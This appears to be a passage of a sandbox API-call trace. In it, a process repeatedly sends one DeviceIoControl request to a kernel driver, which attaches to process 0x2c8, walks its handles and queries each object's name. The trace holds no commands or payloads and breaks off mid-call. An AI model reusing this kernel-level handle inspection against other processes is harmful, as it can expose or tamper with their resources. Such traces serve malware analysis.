DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xc8, lpOverlapped=0x0) returned 1 [0136.574] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.574] PsAcquireProcessExitSynchronization () returned 0x0 [0136.574] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.575] ObReferenceObjectByHandle (in: Handle=0x260, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003173b80, HandleInformation=0x0) returned 0x0 [0136.575] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.575] PsReleaseProcessExitSynchronization () returned 0x2 [0136.575] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.575] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800243d7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800243d7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0136.575] ObfDereferenceObject (Object=0xfffffa8003173b80) returned 0x12 [0136.575] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.575] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.575] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.575] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xd2, lpOverlapped=0x0) returned 1 [0136.575] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.575] PsAcquireProcessExitSynchronization () returned 0x0 [0136.575] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.575] ObReferenceObjectByHandle (in: Handle=0x264, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800296aa20, HandleInformation=0x0) returned 0x0 [0136.575] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.575] PsReleaseProcessExitSynchronization () returned 0x2 [0136.575] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.575] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.575] ObfDereferenceObject (Object=0xfffffa800296aa20) returned 0x12 [0136.575] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.575] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.575] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.575] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0136.575] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.575] PsAcquireProcessExitSynchronization () returned 0x0 [0136.575] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.575] ObReferenceObjectByHandle (in: Handle=0x2ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0136.575] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.575] PsReleaseProcessExitSynchronization () returned 0x2 [0136.575] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.575] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.575] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0136.575] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.576] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.576] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.576] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0136.576] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.576] PsAcquireProcessExitSynchronization () returned 0x0 [0136.576] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.576] ObReferenceObjectByHandle (in: Handle=0x2b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0136.576] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.576] PsReleaseProcessExitSynchronization () returned 0x2 [0136.576] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.576] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.576] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0136.576] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.576] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.576] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.576] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x44, lpOverlapped=0x0) returned 1 [0136.576] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.576] PsAcquireProcessExitSynchronization () returned 0x0 [0136.576] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.576] ObReferenceObjectByHandle (in: Handle=0x2f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003191de0, HandleInformation=0x0) returned 0x0 [0136.576] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.576] PsReleaseProcessExitSynchronization () returned 0x2 [0136.576] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.576] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473508) returned 0x0 [0136.576] ObfDereferenceObject (Object=0xfffffa8003191de0) returned 0x1 [0136.576] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.576] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.576] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.576] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x44, lpOverlapped=0x0) returned 1 [0136.576] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.576] PsAcquireProcessExitSynchronization () returned 0x0 [0136.576] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.576] ObReferenceObjectByHandle (in: Handle=0x314, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800318ab80, HandleInformation=0x0) returned 0x0 [0136.576] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.576] PsReleaseProcessExitSynchronization () returned 0x2 [0136.577] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.577] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473508) returned 0x0 [0136.577] ObfDereferenceObject (Object=0xfffffa800318ab80) returned 0x1 [0136.577] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.577] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.577] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.577] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x42, lpOverlapped=0x0) returned 1 [0136.577] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.577] PsAcquireProcessExitSynchronization () returned 0x0 [0136.577] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.577] ObReferenceObjectByHandle (in: Handle=0x32c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003191340, HandleInformation=0x0) returned 0x0 [0136.577] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.577] PsReleaseProcessExitSynchronization () returned 0x2 [0136.577] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.577] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.577] ObfDereferenceObject (Object=0xfffffa8003191340) returned 0x1 [0136.577] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.577] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.577] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.577] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x42, lpOverlapped=0x0) returned 1 [0136.577] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.577] PsAcquireProcessExitSynchronization () returned 0x0 [0136.577] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.577] ObReferenceObjectByHandle (in: Handle=0x330, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003190f20, HandleInformation=0x0) returned 0x0 [0136.577] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.577] PsReleaseProcessExitSynchronization () returned 0x2 [0136.577] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.577] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.577] ObfDereferenceObject (Object=0xfffffa8003190f20) returned 0x1 [0136.577] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.577] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.577] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.578] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0136.578] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.578] PsAcquireProcessExitSynchronization () returned 0x0 [0136.578] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.578] ObReferenceObjectByHandle (in: Handle=0x344, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0012b2d20, HandleInformation=0x0) returned 0x0 [0136.578] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.578] PsReleaseProcessExitSynchronization () returned 0x2 [0136.578] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.578] ObQueryNameString (in: Object=0xfffff8a0012b2d20, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.578] ObfDereferenceObject (Object=0xfffff8a0012b2d20) returned 0x3 [0136.578] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.578] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.578] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.578] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.578] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.578] PsAcquireProcessExitSynchronization () returned 0x0 [0136.578] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.578] ObReferenceObjectByHandle (in: Handle=0x434, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f67870, HandleInformation=0x0) returned 0x0 [0136.578] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.578] PsReleaseProcessExitSynchronization () returned 0x2 [0136.578] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.578] ObQueryNameString (in: Object=0xfffffa8002f67870, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.578] ObfDereferenceObject (Object=0xfffffa8002f67870) returned 0x1 [0136.578] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.578] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.578] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.578] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xd2, lpOverlapped=0x0) returned 1 [0136.578] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.578] PsAcquireProcessExitSynchronization () returned 0x0 [0136.578] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.578] ObReferenceObjectByHandle (in: Handle=0x44c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003121070, HandleInformation=0x0) returned 0x0 [0136.578] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.579] PsReleaseProcessExitSynchronization () returned 0x2 [0136.579] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.579] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.579] ObfDereferenceObject (Object=0xfffffa8003121070) returned 0x12 [0136.579] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.579] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.579] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.579] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xd4, lpOverlapped=0x0) returned 1 [0136.579] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.579] PsAcquireProcessExitSynchronization () returned 0x0 [0136.579] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.579] ObReferenceObjectByHandle (in: Handle=0x450, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003121270, HandleInformation=0x0) returned 0x0 [0136.579] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.579] PsReleaseProcessExitSynchronization () returned 0x2 [0136.579] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.579] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.579] ObfDereferenceObject (Object=0xfffffa8003121270) returned 0x13 [0136.579] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.579] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.579] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.579] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xc6, lpOverlapped=0x0) returned 1 [0136.579] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.579] PsAcquireProcessExitSynchronization () returned 0x0 [0136.579] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.579] ObReferenceObjectByHandle (in: Handle=0x458, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003247400, HandleInformation=0x0) returned 0x0 [0136.579] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.579] PsReleaseProcessExitSynchronization () returned 0x2 [0136.579] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.579] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.579] ObfDereferenceObject (Object=0xfffffa8003247400) returned 0x12 [0136.579] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.579] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.580] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.580] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xca, lpOverlapped=0x0) returned 1 [0136.580] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.580] PsAcquireProcessExitSynchronization () returned 0x0 [0136.580] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.580] ObReferenceObjectByHandle (in: Handle=0x45c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f71820, HandleInformation=0x0) returned 0x0 [0136.580] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.580] PsReleaseProcessExitSynchronization () returned 0x2 [0136.580] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.580] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.580] ObfDereferenceObject (Object=0xfffffa8002f71820) returned 0x21 [0136.580] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.580] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.580] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.580] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xcc, lpOverlapped=0x0) returned 1 [0136.580] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.580] PsAcquireProcessExitSynchronization () returned 0x0 [0136.580] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.580] ObReferenceObjectByHandle (in: Handle=0x460, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80032488b0, HandleInformation=0x0) returned 0x0 [0136.580] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.580] PsReleaseProcessExitSynchronization () returned 0x2 [0136.580] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.580] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.580] ObfDereferenceObject (Object=0xfffffa80032488b0) returned 0x12 [0136.580] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.580] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.580] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.580] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xd8, lpOverlapped=0x0) returned 1 [0136.580] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.580] PsAcquireProcessExitSynchronization () returned 0x0 [0136.580] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.580] ObReferenceObjectByHandle (in: Handle=0x464, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: 